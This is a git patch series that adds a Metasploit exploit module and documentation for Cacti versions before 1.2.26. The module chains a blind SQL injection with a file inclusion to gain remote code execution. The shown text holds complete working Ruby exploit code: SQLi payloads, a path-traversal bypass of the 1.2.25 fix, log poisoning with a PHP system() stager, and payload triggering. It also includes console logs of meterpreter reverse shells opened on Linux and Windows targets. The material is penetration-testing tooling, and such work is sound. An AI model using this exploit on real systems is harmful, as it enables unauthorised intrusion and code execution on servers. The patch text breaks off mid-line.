From f10619d87021a5aec07b798d9be1e4d96c35f7c3 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 25 Jan 2024 14:51:26 +0100 Subject: [PATCH 1/5] Add module and documentation --- .../multi/http/cacti_pollers_sqli_rce.md | 244 +++++++++++++ .../multi/http/cacti_pollers_sqli_rce.rb | 320 ++++++++++++++++++ 2 files changed, 564 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md create mode 100644 modules/exploits/multi/http/cacti_pollers_sqli_rce.rb diff --git a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md new file mode 100644 index 000000000000..c22827a9f155 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md @@ -0,0 +1,244 @@ +## Vulnerable Application + +This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. + +The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25. + +The exploit will do the following: +- Login with the provided credentials +- Perform a serie of SQL injections to: + - backup the current log file path and add a new path to the `settings` table + - insert the new log file path to the External Links table (`external_links`) + - add permission to access this external link to the current user (`user_auth_realm`) + - Poison the log file to add the payload stager +- Trigger the payload by accessing the external link page (`link.php)` +- Cleanup the SQL tables that were modified to their original states +- Remove the new log file that contains the stager + +### Docker installation of Cacti version 1.2.25 +- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)): + - `docker-compose.yml`: + ``` + version: '2' + services: + web: + build: ./cacti + ports: + - "8080:80" + depends_on: + - db + entrypoint: + - bash + - /entrypoint.sh + volumes: + - ./entrypoint.sh:/entrypoint.sh + command: apache2-foreground + db: + image: mysql:5.7 + environment: + - MYSQL_ROOT_PASSWORD=root + - MYSQL_DATABASE=cacti + ``` + - `entrypoint.sh`: + ``` + #!/bin/bash + set -ex + + wait-for-it db:3306 -t 300 -- echo "database is connected" + if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then + mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql + mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" + mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" + fi + + chown www-data:www-data -R /var/www/html + # first arg is `-f` or `--some-option` + if [ "${1#-}" != "$1" ]; then + set -- apache2-foreground "$@" + fi + + exec "$@" + ``` +- Create a `./cacti/` directory with `mkdir cacti` +- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22): + - `Dockerfile`: + ``` + FROM php:7.4-apache + + RUN apt-get update && \ + apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \ + wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev + + RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\ + docker-php-ext-configure intl &&\ + docker-php-ext-configure pcntl --enable-pcntl &&\ + docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext + + RUN mkdir /var/www/html/cacti &&\ + wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1 + + COPY config.php /var/www/html/cacti/include/config.php + COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini + ``` + - `cacti.ini` + ``` + display_errors=off + memory_limit=512M + date.timezone=UTC + max_execution_time=120 + ``` + - `config.php` + ``` + `Users` +- Click on the `+` sign +- Enter the `User Name`, `Password` and check the `Enabled` option. +- Click `Create` +- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration` +- Click `Save` + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce` +1. Do: `set target ` +1. Do: `set payload ` +1. Do: `run rhost= rport= lhost= username= password=` +1. You should get a shell. + +## Options + +### USERNAME +The user to login with (default `admin`). + +### PASSWORD +The password to login with (default `admin`) + +### TARGETURI +The base URI of Cacti (default `/cacti`). + + +## Scenarios + +### Cacti version 1.2.25 on Docker installation +``` +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0 +target => 0 +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678 + +[*] Started reverse TCP handler on 192.168.144.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking Cacti version +[+] The web server is running Cacti version 1.2.25 +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Checking permissions to access `pollers.php` +[*] Attempting SQLi to check if the target is vulnerable +[+] The target is vulnerable. +[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table +[*] Inserting the log file path `log/cacti520.log` to the external links table +[*] Getting the user ID and setting permissions (it might take a few minutes) +[*] Logging again to apply new settings and permissions +[*] Getting the CSRF token to login +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Poisoning the log +[*] Triggering the payload +[*] Sending stage (3045380 bytes) to 192.168.144.1 +[*] Cleaning up log file +[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100 +[*] Cleaning up external link using SQLi +[*] Cleaning up permissions using SQLi +[*] Cleaning up the log path in `settings` table using SQLi + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 172.25.0.3 +OS : Debian 11.5 (Linux 6.5.11-linuxkit) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Cacti version 1.2.24 on Windows 11 +``` +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1 +target => 1 +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678 + +[*] Started reverse TCP handler on 192.168.144.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking Cacti version +[+] The web server is running Cacti version 1.2.24 +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Checking permissions to access `pollers.php` +[*] Attempting SQLi to check if the target is vulnerable +[+] The target is vulnerable. +[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table +[*] Inserting the log file path `log/cacti715.log` to the external links table +[*] Getting the user ID and setting permissions (it might take a few minutes) +[*] Logging again to apply new settings and permissions +[*] Getting the CSRF token to login +[*] Attempting login with user `msfuser` and password `12345678` +[+] Logged in +[*] Poisoning the log +[*] Triggering the payload +[*] Sending stage (200774 bytes) to 192.168.144.134 +[*] Cleaning up log file +[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100 +[*] Cleaning up external link using SQLi +[*] Cleaning up permissions using SQLi +[*] Cleaning up the log path in `settings` table using SQLi + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-26CQRHP +OS : Windows 11 (10.0 Build 22000). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb new file mode 100644 index 000000000000..12bc5d7ffbe9 --- /dev/null +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -0,0 +1,320 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cacti RCE via SQLi in pollers.php', + 'Description' => %q{ + This exploit module leverages a SQLi (CVE-2023-49085) and a LFI + (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to + achieve RCE. Authentication is needed and the account must have access + to the vulnerable PHP script (`pollers.php`). This is granted by + setting the `Sites/Devices/Data` permission in the `General + Administration` section. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Aleksey Solovev', # Initial research and discovery + 'Christophe De La Fuente' # Metasploit module + ], + 'References' => [ + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi + [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE) + [ 'CVE', '2023-49085'], # SQLi + [ 'CVE', '2023-49084'] # LFI (RCE) + ], + 'Platform' => ['unix linux win'], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Linux Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => [ 'unix', 'linux' ] + } + ], + [ + 'Windows Command', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'win' + } + ] + ], + 'DefaultOptions' => { + 'SqliDelay' => 3 + }, + 'DisclosureDate' => '2023-12-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']), + OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']) + ] + ) + end + + def sqli + @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload| + sqli_final_payload = '"' + sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and') + sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\"" + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'pollers.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + '__csrf_magic' => @csrf_token, + 'name' => 'Main Poller', + 'hostname' => 'localhost', + 'timezone' => '', + 'notes' => '', + 'processes' => '1', + 'threads' => '1', + 'id' => '2', + 'save_component_poller' => '1', + 'action' => 'save', + 'dbhost' => sqli_final_payload + }, + 'vars_get' => { + 'header' => 'false' + } + ) + end + end + + def do_login + if @csrf_token.blank? || @cacti_version.blank? + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + if res.nil? + print_bad('Could not access `index.php` - no response') + return false + end + + html = res.get_html_document + if @csrf_token.blank? + print_status('Getting the CSRF token to login') + @csrf_token = html.xpath('//form/input[@name="__csrf_magic"]/@value').text + vprint_good("CSRF token: #{@csrf_token}") + end + + if @cacti_version.blank? + print_status('Getting the version') + version_str = html.xpath('//div[@class="versionInfo"]').text + if version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) + @cacti_version = Regexp.last_match[:version] + vprint_good("Version: #{@cacti_version}") + else + vprint_bad('Could not get the version') + end + end + end + + print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + '__csrf_magic' => @csrf_token, + 'action' => 'login', + 'login_username' => datastore['USERNAME'], + 'login_password' => datastore['PASSWORD'] + } + ) + unless res&.code == 302 + if res.nil? + print_bad('Could not login - no response') + else + print_bad("Login failure - unexpected HTTP response code: #{res.code}") + end + return false + end + + print_good('Logged in') + true + end + + def check + print_status('Checking Cacti version') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? + + # Step 1 - Check if the target is Cacti + html = res.get_html_document + # This will return an empty string if there is no match + version_str = html.xpath('//div[@class="versionInfo"]').text + return CheckCode::Safe('The web server is not running Cacti') unless version_str.include?('The Cacti Group') + + # Step 2 - Check the version + unless version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) + return CheckCode::Unknown('Could not detect the version') + end + + if Rex::Version.new(Regexp.last_match[:version]) < Rex::Version.new('1.2.26') + @cacti_version = Regexp.last_match[:version] + print_good("The web server is running Cacti version #{@cacti_version}") + else + return CheckCode::Safe("The web server is running Cacti version #{Regexp.last_match[:version]}") + end + + # Step 3 - Login + @csrf_token = html.xpath('//form/input[@name="__csrf_magic"]/@value').text + return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? + + return CheckCode::Unknown('Login failed') unless do_login + + @logged_in = true + + # Step 4 - Check if the user has enough permissions to reach `pollers.php` + print_status('Checking permissions to access `pollers.php`') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'pollers.php'), + 'method' => 'GET', + 'keep_cookies' => true, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest' + } + ) + return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil? + return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401 + return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # Step 5 - Check if it is vulnerable to SQLi + print_status('Attempting SQLi to check if the target is vulnerable') + return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable + + CheckCode::Vulnerable + end + + def get_ext_link_id + # Get an unused External Link ID with a time-based SQLi + @ext_link_id = rand(1000..9999) + loop do + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}") + end + break if elapsed_time < datastore['SqliDelay'] + + @ext_link_id = rand(1000..9999) + end + vprint_good("Got external link ID #{@ext_link_id}") + end + + def exploit + # `#do_login` will take care of populating `@csrf_token` and `@cacti_version` + fail_with(Failure::NoAccess, 'Login failure') unless @logged_in || do_login + + @log_file_path = "log/cacti#{rand(1..999)}.log" + print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table") + @log_setting_name_bak = '_path_cactilog' + sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'") + @do_settings_cleanup = true + sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')") + + print_status("Inserting the log file path `#{@log_file_path}` to the external links table") + log_file_path_lfi = "../../#{@log_file_path}" + # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79): + # $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']); + log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25') + get_ext_link_id + sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')") + @do_ext_link_cleanup = true + + print_status('Getting the user ID and setting permissions (it might take a few minutes)') + user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'") + fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/) + sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})") + @do_perms_cleanup = true + + print_status('Logging again to apply new settings and permissions') + # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again. + # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup. + cookie_jar_bak = cookie_jar.clone + cookie_jar.clear + csrf_token_bak = @csrf_token + # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token + @csrf_token = nil + fail_with(Failure::NoAccess, 'Login failure') unless do_login + + print_status('Poisoning the log') + header_name = rand_text_alpha(1).upcase + sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)") + + print_status('Triggering the payload') + # Expecting no response + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'link.php'), + 'method' => 'GET', + 'keep_cookies' => true, + 'headers' => { + header_name => payload.encoded + }, + 'vars_get' => { + 'id' => @ext_link_id, + 'headercontent' => 'true' + } + }, 0) + + # Restore the cookie_jar and the CSRF token to run cleanup without being blocked + cookie_jar.clear + self.cookie_jar = cookie_jar_bak + @csrf_token = csrf_token_bak + end + + def cleanup + super + + if @do_ext_link_cleanup + print_status('Cleaning up external link using SQLi') + sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}") + end + + if @do_perms_cleanup + print_status('Cleaning up permissions using SQLi') + sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}") + end + + if @do_settings_cleanup + print_status('Cleaning up the log path in `settings` table using SQLi') + sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'") + sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'") + end + end + + def on_new_session(session) + super + + print_status('Cleaning up log file') + session.run_cmd("rm #{@log_file_path}") + end +end From 5054b3bfd0d2bc1542b9c162838a6b9c3d9ce8cb Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 1 Feb 2024 12:31:01 +0100 Subject: [PATCH 2/5] Add methods to get the version and the CSRF token --- .../multi/http/cacti_pollers_sqli_rce.rb | 67 +++++++++++++------ 1 file changed, 46 insertions(+), 21 deletions(-) diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb index 12bc5d7ffbe9..e17faebbb7f1 100644 --- a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::SQLi prepend Msf::Exploit::Remote::AutoCheck + class CactiError < StandardError; end + class CactiNotFoundError < CactiError; end + class CactiVersionNotFoundError < CactiError; end + def initialize(info = {}) super( update_info( @@ -104,6 +108,23 @@ def sqli end end + def get_version(html) + # This will return an empty string if there is no match + version_str = html.xpath('//div[@class="versionInfo"]').text + unless version_str.include?('The Cacti Group') + raise CactiNotFoundError + end + unless version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) + raise CactiVersionNotFoundError + end + + Regexp.last_match[:version] + end + + def get_csrf_token(html) + html.xpath('//form/input[@name="__csrf_magic"]/@value').text + end + def do_login if @csrf_token.blank? || @cacti_version.blank? res = send_request_cgi( @@ -119,17 +140,22 @@ def do_login html = res.get_html_document if @csrf_token.blank? print_status('Getting the CSRF token to login') - @csrf_token = html.xpath('//form/input[@name="__csrf_magic"]/@value').text - vprint_good("CSRF token: #{@csrf_token}") + @csrf_token = get_csrf_token(html) + if @csrf_token.empty? + vprint_bad('Cannot get the CSRF token') + # return early since without the CSRF token, we cannot login + return false + else + vprint_good("CSRF token: #{@csrf_token}") + end end if @cacti_version.blank? print_status('Getting the version') - version_str = html.xpath('//div[@class="versionInfo"]').text - if version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) - @cacti_version = Regexp.last_match[:version] + begin + @cacti_version = get_version(html) vprint_good("Version: #{@cacti_version}") - else + rescue CactiError vprint_bad('Could not get the version') end end @@ -161,6 +187,7 @@ def do_login end def check + # Step 1 - Check if the target is Cacti and get the version print_status('Checking Cacti version') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), @@ -169,33 +196,31 @@ def check ) return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? - # Step 1 - Check if the target is Cacti html = res.get_html_document - # This will return an empty string if there is no match - version_str = html.xpath('//div[@class="versionInfo"]').text - return CheckCode::Safe('The web server is not running Cacti') unless version_str.include?('The Cacti Group') - - # Step 2 - Check the version - unless version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) + begin + @cacti_version = get_version(html) + version_msg = "The web server is running Cacti version #{@cacti_version}" + rescue CactiNotFoundError + return CheckCode::Safe('The web server is not running Cacti') + rescue CactiVersionNotFoundError return CheckCode::Unknown('Could not detect the version') end - if Rex::Version.new(Regexp.last_match[:version]) < Rex::Version.new('1.2.26') - @cacti_version = Regexp.last_match[:version] - print_good("The web server is running Cacti version #{@cacti_version}") + if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26') + print_good(version_msg) else - return CheckCode::Safe("The web server is running Cacti version #{Regexp.last_match[:version]}") + return CheckCode::Safe(version_msg) end - # Step 3 - Login - @csrf_token = html.xpath('//form/input[@name="__csrf_magic"]/@value').text + # Step 2 - Login + @csrf_token = get_csrf_token(html) return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? return CheckCode::Unknown('Login failed') unless do_login @logged_in = true - # Step 4 - Check if the user has enough permissions to reach `pollers.php` + # Step 3 - Check if the user has enough permissions to reach `pollers.php` print_status('Checking permissions to access `pollers.php`') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'pollers.php'), @@ -209,7 +234,7 @@ def check return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401 return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200 - # Step 5 - Check if it is vulnerable to SQLi + # Step 4 - Check if it is vulnerable to SQLi print_status('Attempting SQLi to check if the target is vulnerable') return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable From 81eba7a6e7e4ff810219e5a2f868f64be4d10b97 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Thu, 1 Feb 2024 17:23:05 +0100 Subject: [PATCH 3/5] Use FileDropper mixin and fix typo --- modules/exploits/multi/http/cacti_pollers_sqli_rce.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb index e17faebbb7f1..ec2fc4c65a71 100644 --- a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::SQLi + include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck class CactiError < StandardError; end @@ -265,6 +266,7 @@ def exploit sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'") @do_settings_cleanup = true sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')") + register_file_for_cleanup(@log_file_path) print_status("Inserting the log file path `#{@log_file_path}` to the external links table") log_file_path_lfi = "../../#{@log_file_path}" @@ -281,7 +283,7 @@ def exploit sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})") @do_perms_cleanup = true - print_status('Logging again to apply new settings and permissions') + print_status('Logging in again to apply new settings and permissions') # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again. # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup. cookie_jar_bak = cookie_jar.clone @@ -335,11 +337,4 @@ def cleanup sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'") end end - - def on_new_session(session) - super - - print_status('Cleaning up log file') - session.run_cmd("rm #{@log_file_path}") - end end From 1ff1302df72a03af5268665b2e93ac3f09c2eb23 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Fri, 2 Feb 2024 11:39:13 +0100 Subject: [PATCH 4/5] Use exceptions instead of returning a boolean in `do_login` --- .../multi/http/cacti_pollers_sqli_rce.rb | 59 +++++++++++-------- 1 file changed, 34 insertions(+), 25 deletions(-) diff --git a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb index ec2fc4c65a71..337f0dac947a 100644 --- a/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb +++ b/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb @@ -14,6 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote class CactiError < StandardError; end class CactiNotFoundError < CactiError; end class CactiVersionNotFoundError < CactiError; end + class CactiNoAccessError < CactiError; end + class CactiCsrfNotFoundError < CactiError; end + class CactiLoginError < CactiError; end def initialize(info = {}) super( @@ -113,10 +116,10 @@ def get_version(html) # This will return an empty string if there is no match version_str = html.xpath('//div[@class="versionInfo"]').text unless version_str.include?('The Cacti Group') - raise CactiNotFoundError + raise CactiNotFoundError, 'The web server is not running Cacti' end unless version_str.match(/Version (?\d{1,2}\.\d{1,2}.\d{1,2})/) - raise CactiVersionNotFoundError + raise CactiVersionNotFoundError, 'Could not detect the version' end Regexp.last_match[:version] @@ -134,8 +137,7 @@ def do_login 'keep_cookies' => true ) if res.nil? - print_bad('Could not access `index.php` - no response') - return false + raise CactiNoAccessError, 'Could not access `index.php` - no response' end html = res.get_html_document @@ -143,9 +145,8 @@ def do_login print_status('Getting the CSRF token to login') @csrf_token = get_csrf_token(html) if @csrf_token.empty? - vprint_bad('Cannot get the CSRF token') - # return early since without the CSRF token, we cannot login - return false + # raise an error since without the CSRF token, we cannot login + raise CactiCsrfNotFoundError, 'Cannot get the CSRF token' else vprint_good("CSRF token: #{@csrf_token}") end @@ -156,8 +157,9 @@ def do_login begin @cacti_version = get_version(html) vprint_good("Version: #{@cacti_version}") - rescue CactiError - vprint_bad('Could not get the version') + rescue CactiError => e + # We can still log in without the version + print_bad("Could not get the version, the exploit might fail: #{e}") end end end @@ -174,17 +176,10 @@ def do_login 'login_password' => datastore['PASSWORD'] } ) - unless res&.code == 302 - if res.nil? - print_bad('Could not login - no response') - else - print_bad("Login failure - unexpected HTTP response code: #{res.code}") - end - return false - end + raise CactiNoAccessError, 'Could not login - no response' if res.nil? + raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302 print_good('Logged in') - true end def check @@ -201,10 +196,10 @@ def check begin @cacti_version = get_version(html) version_msg = "The web server is running Cacti version #{@cacti_version}" - rescue CactiNotFoundError - return CheckCode::Safe('The web server is not running Cacti') - rescue CactiVersionNotFoundError - return CheckCode::Unknown('Could not detect the version') + rescue CactiNotFoundError => e + return CheckCode::Safe(e.message) + rescue CactiVersionNotFoundError => e + return CheckCode::Unknown(e.message) end if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26') @@ -217,7 +212,11 @@ def check @csrf_token = get_csrf_token(html) return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? - return CheckCode::Unknown('Login failed') unless do_login + begin + do_login + rescue CactiError => e + return CheckCode::Unknown("Login failed: #{e}") + end @logged_in = true @@ -258,7 +257,13 @@ def get_ext_link_id def exploit # `#do_login` will take care of populating `@csrf_token` and `@cacti_version` - fail_with(Failure::NoAccess, 'Login failure') unless @logged_in || do_login + unless @logged_in + begin + do_login + rescue CactiError => e + fail_with(Failure::NoAccess, "Login failure: #{e}") + end + end @log_file_path = "log/cacti#{rand(1..999)}.log" print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table") @@ -291,7 +296,11 @@ def exploit csrf_token_bak = @csrf_token # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token @csrf_token = nil - fail_with(Failure::NoAccess, 'Login failure') unless do_login + begin + do_login + rescue CactiError => e + fail_with(Failure::NoAccess, "Login failure: #{e}") + end print_status('Poisoning the log') header_name = rand_text_alpha(1).upcase From b91648f065dadcc0919f377e55cbaed0a8996af5 Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Fri, 2 Feb 2024 11:45:51 +0100 Subject: [PATCH 5/5] Fix typos --- .../modules/exploit/multi/http/cacti_pollers_sqli_rce.md | 4 ++-- modules/exploits/multi/http/cacti_pollers_sqli_rce.rb | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md index c22827a9f155..dddb600320c7 100644 --- a/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md +++ b/documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md @@ -1,12 +1,12 @@ ## Vulnerable Application -This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerabilities in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. +This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in 